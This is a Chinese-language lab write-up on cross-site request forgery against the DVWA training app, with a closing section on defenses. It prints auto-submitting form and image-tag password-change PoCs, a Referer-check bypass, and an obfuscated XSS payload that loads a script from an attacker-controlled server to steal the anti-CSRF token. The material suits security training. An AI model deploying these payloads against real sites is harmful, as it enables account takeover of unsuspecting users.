总字符数: 13.69K

代码: 3.33K, 文本: 3.84K

预计阅读时间: 31 分钟

漏洞信息

CSRF(跨站请求伪造)是攻击者利用用户的登录凭证,如Cookie,在不知情的情况下代表用户进行操作.

例如,假设用户在网站A上通过链接http://xxx.com/xx.php?password=admin更改密码.如果网站防护不足,攻击者可以在另一网站上放置一个看似无害的图片<img src='http://xxx.com/xx.php?password=admin' />.如果网站A的管理员查看这个图片,他的浏览器会自动发送更改密码为admin的请求,而管理员对此毫无察觉.

漏洞利用条件

CSRF漏洞的出现基于两个主要条件,正确理解它们有助于加强安全防护:

  1. 来源检查(Referer验证):通过检查请求从哪里来,服务器可以拒绝非本站来源的修改请求.但如果来源验证不严或可以绕过,攻击者的请求可能被误信.
  2. 令牌使用(Token验证):服务器为敏感操作生成一次性令牌,用户请求时需带上这个令牌.无有效令牌的请求将被拒绝.如果没有这样的系统或令牌易猜,漏洞可能被攻击者利用.

CSRF利用流程

CSRF的危害

  1. 执行恶意操作: 攻击者可以通过伪造用户请求执行恶意操作,比如修改用户的设置、删除重要数据等,导致用户遭受损失.
  2. 滥用用户权限: 如果用户在受攻击的网站中具有管理员或特殊权限,攻击者可以滥用这些权限执行更为严重的攻击,如关闭账户、修改系统设置等.
  3. 社会工程学攻击: 利用CSRF,攻击者可以通过引导用户点击链接或访问特定页面,从而进行社会工程学攻击,欺骗用户执行不安全的操作.

常见Payload

HTML

利用 HTML 元素发出 CSRF 请求,这是最常见的 CSRF 攻击.
HTML 中能设置 src/href 等链接地址的标签都可以发起一个 GET 请求,如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0; url=">
<iframe src="">
<frame src="">
<script src=""></script>
<bgsound src=""></bgsound>
<embed src=""></bgsound>
<video src=""></video>
<audio src=""></audio>
<a href=""></a>
<table background=""></table>

CSS

1
background:url("")

表单 Post

1
2
3
4
5
<form action="http://www.a.com/register" id="register" method="post">
<input type=text name="username" value="" />
<input type=password name="password" value="" />
</form>
<script>document.forms[0].submit();</script>

漏洞实验

本次靶场采用的为dvwa

类型 IP
靶机 192.168.64.1
Exp服务器(Kali) vmcentos.com
账号 密码
admin password
1337 charley

低级

请求分析

首先我们进入DVWA目标网站,用户名admin,密码 password,并将级别配置为low. 来到CSRF选项,执行一次正常的修改密码并进行观察.可以看到,更改密码的请求是直接放到url里的get请求.

可以看到以上请求包内也没有token第一个要求满足
然后我们看看第二个要求referer
我们右键Send to Repeater或者快捷键Ctrl+R发送到repeater模块

通过以上图片我们可以分析出即使将referer删掉之后也可以造成密码更改,2个条件都满足

构建POC

我们复制以下内容在Kali的中构造恶意页面

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.86.131:8042/vulnerabilities/csrf/">
<input type="hidden" name="password&#95;new" value="qqqq" />
<input type="hidden" name="password&#95;conf" value="qqqq" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

然后我们需要配置下hosts文件,将vmcentos.com指向kali的IP地址

PHPstudy第二域名设置为Kali的网关地址(其实就是我们的phpstudy机器的IP)比如我这里是:192.168.64.1

然后刷新DNS

放行后我们的DVWA密码就被修改成了qqqq

上方为了演示所以构造的html需要点击,我们可以将poc放到标签内就不需要点按钮了,只要用户打开就能修改

1
2
3
<html>
<img src="http://192.168.86.131/dvwa/vulnerabilities/csrf/?password_new=qqqq&password_conf=qqqq&Change=Change#"/>
</html>

这段内容描述了通过构造包含恶意代码的poc.html文件,通过<img>标签的src属性来发送GET请求,从而实施CSRF攻击,达到修改用户密码的目的.以下是对内容的精简和整理:

CSRF攻击实例

攻击步骤

  1. 创建包含恶意代码的 poc.html 文件,用于触发CSRF攻击.
  2. 利用<img>标签的src属性发送GET请求,诱导用户访问 poc.html.
  3. 用户访问后,相当于以其身份发送一次改密的GET请求至服务器,如:http://example.com/change-password?new_password=123456.
  4. 服务器接收合法用户请求,执行改密响应,导致密码被修改.

实验结果分析

通过<img>标签发送GET请求是一种常见的技巧,但对于一些敏感请求,如果未经妥善处理,仅依赖GET请求而不进行其他验证,容易受到CSRF攻击.

此示例中,用户只需访问包含恶意代码的poc.html文件,其密码即可被攻击者修改.这强调了在处理敏感请求时,需要进行充分验证和其他防御措施,以防止CSRF攻击的发生.

中级

请求分析

请求分析步骤同低级一样,发现没有token然后将refer删掉看一下

可以看到PHP报错PHP Notice: Undefined index: HTTP_REFERER大概意思就是请求头中的referer不存在
我们再伪造一个referer试一下,结果报错这个请求有点问题

接下来我们查看DVWA CSRF的源码分析如下:

我们看到如下代码

1
2
3
4
5
6
7
 if(stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
# 代码块
}
else{
echo "
<pre>That request didn't look correct.</pre>";
}
1
2
$_SERVER['HTTP_REFERER']  # 获取请求头中的referer值也就是来源地址
$_SERVER['SERVER_NAME'] # 获取请求头中的HOST值如:主机名/域名

stripos函数

1
2
stripos (string 字符串,string 要查找的内容);
返回查找的内容的位置,如果未找到返回FALSE

找到了并且返回为8而不是FALSE,也就是说只要referer中包含服务器的HOST就可以

构建POC

这里使用二级域名的方式构建POC

恶意网页的代码还是用的低级中的代码

我们可以看到密码修改成功,因为我们的域名中本身就带着靶机的HOST所以stripos函数可以找到并且条件成立

高级

分析

本步骤将分析请求方式及规则 进行一次正常的改密请求,如下:

GET请求中使用的user_token参数正是之前提到的令牌(token)机制,确保每次请求的令牌都是无法预测的随机数.这意味着低到中级的攻击方法不再适用,因为没有token,请求将被视为无效.由于token的不可预知性,即使在代码中也难以捕获.

重点强调: 想要通过CSRF攻击构造恶意页面窃取用户的token是行不通的,因为存在跨域问题.举例来说,目标页面http://192.168.86.131:8042/vulnerabilities/csrf位于192.168.86.131服务器上,而攻击者页面可能托管在vmcentos.com.不同的域意味着不能互相获取信息–域名的唯一性使得不可能伪造.域B的页面无法获取域A页面的内容,除非域A主动分享.因此,攻击者无法主动获取目标域的user_token等敏感信息.至此,我们可以判断,单独使用CSRF攻击无法获取用户的token,因而无法完成攻击.

本步骤将利用xss绕过防御规则 这里需要利用到high等级的xss漏洞来获取user_token,payload如下:
<iframe src='../csrf' onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

我获取好多次token以下面为准
而获取user_token后,我们就可以重复low等级的步骤,只不过改变一下src里的利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.64.1/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password&#95;new" value="123456" />
<input type="hidden" name="password&#95;conf" value="123456" />
<input type="hidden" name="Change" value="Change" />
<input type="hidden" name="user&#95;token" value="b2bbd43c3b05749c9f935a19caab8348" />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

注意:8ecf7635b8b09b6caa0a6e1c98dcecc1是通过XSS获取的一次性token,它在每次页面刷新时都会变更.

在安全性较高的网站中,敏感操作(如支付密码更改等)会要求一个由服务器生成的一次性随机数(`token`).这种机制确保了用户操作的合法性:用户的操作必须携带这个随机数,服务端会验证这个随机数,不匹配或缺失则拒绝请求.

进行攻击时,可按照低级别安全的步骤操作,创建HTML文档来诱导合法用户打开并触发攻击.

极为重要的警告:在使用XSS显示token时,请不要跳转到CSRF页面,因为在通过CSRF跳转到密码修改页面的过程中,token将会被重新刷新,导致之前获取的token失效.当前的浏览器安全策略不支持跨域访问,因此攻击脚本无法直接获取目标页面的user_token.

特高级(不可能)

DVWA验证了原始密码,如果攻击者不知道原始密码的情况下不会攻击成功

XSS (Reflected)配合CSRF跨域

vps中1.js
1
2
3
4
5
ifr = document.createElement('iframe');
ifr.src = "/dvwa/vulnerabilities/csrf/";
ifr.hidden = 1;
document.body.appendChild(ifr);
setTimeout(function () { f = frames[0]; t = f.document.getElementsByName('user_token')[0].value; i = document.createElement('img'); i.src = '/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=' + t; },3000);
payload
1
2
3
4
5
<!-- 未编码 -->
<svg/onload=i=document.createElement('script');i.src='http://192.168.64.129:8080/1.js';document.body.appendChild(i);>

<!-- 编码 -->
<svg/onload=i=document.createElement('\u0073\u0063\u0072\u0069\u0070\u0074');i.src='\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0031\u0039\u0032\u002E\u0031\u0036\u0038\u002E\u0036\u0034\u002E\u0031\u0032\u0039\u003A\u0038\u0030\u0038\u0030\u002F\u0031\u002E\u006A\u0073';document.body.appendChild(i);>

由于hidh等级采用了正则过滤,所以我们要实体编码部分字段

1
<svg/onload=i=document.createElement('\u0073\u0063\u0072\u0069\u0070\u0074');i.src='\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0031\u0030\u002E\u0031\u0030\u002E\u0031\u0030\u002E\u0031\u0033\u003A\u0038\u0030\u0038\u0030\u002F\u0031\u002E\u006A\u0073';document.body.appendChild(i);>

默认密码为pssword

将准备好的payload复制到输入框内

退出后使用默认密码登录失败

使用密码:123登录成功

防御

验证码(CAPTCHA)

验证码是一种强制用户与应用交互的手段,以确认操作的是真人而非自动化脚本或攻击程序.这因为自动化的攻击很难解决验证码,从而可以有效防止机器人自动执行敏感操作.

Referer检查(HTTP Referer)

通过检查HTTP请求头中的Referer值,服务器可以判断请求是否来自一个合法的源.虽然这种方法可以提高安全性,但并不总是可靠,因为Referer有时可能因为各种原因(如用户隐私设置)而不被发送.

Token

Token是一种非常有效的防御机制,因为它确保了每次敏感操作的请求都包含一个无法预测的随机值.将Token存储在用户的会话(Session)或浏览器的Cookies中可以提高安全性.每次用户提交表单时,都应该生成一个新的Token,并且验证提交的Token与会话中的Token是否一致.Token应当保密,不能出现在URL中,以避免通过Referer泄漏.

双重验证(Double Submit Cookies)

这种方法涉及生成两个Token,一个存储在用户的Cookie中,另一个作为表单的一部分随请求发送.服务器将验证两个Token是否匹配.因为攻击者无法读取目标网站的Cookie,所以这个方法在一定程度上能防止CSRF攻击.

自定义请求头(Custom Request Headers)

大多数CSRF攻击方法依赖于浏览器自动携带诸如Cookies和Authentication data等凭证.可以通过要求所有可能导致状态变化的HTTP请求携带一个自定义的请求头(例如:X-Requested-With: XMLHttpRequest)来帮助防御CSRF攻击.服务器将检查这个自定义头的存在性,它不会被普通的表单提交所携带,因此可以用来区别非法请求.

最新的浏览器支持SameSite Cookie属性,可以设置为Strict或Lax.这个属性用于控制Cookie是否可以跨站点提交.当设置为Strict时,Cookie将只在请求是从同一网站发出时发送,这可以有效地阻止CSRF攻击.

HTTPS

使用HTTPS可以防止中间人攻击,这可以防止攻击者截获或篡改请求.虽然这对直接防御CSRF没有帮助,但它可以增强整体的通信安全,包括Token的传输.

限制跨站点脚本(XSS)

防止XSS攻击是防止CSRF的重要一环,因为XSS可以被用来绕过同源策略,从而窃取Cookies和Token等.确保应用充分防御XSS,例如使用内容安全策略(CSP),转义用户输入,以及使用安全的编程实践.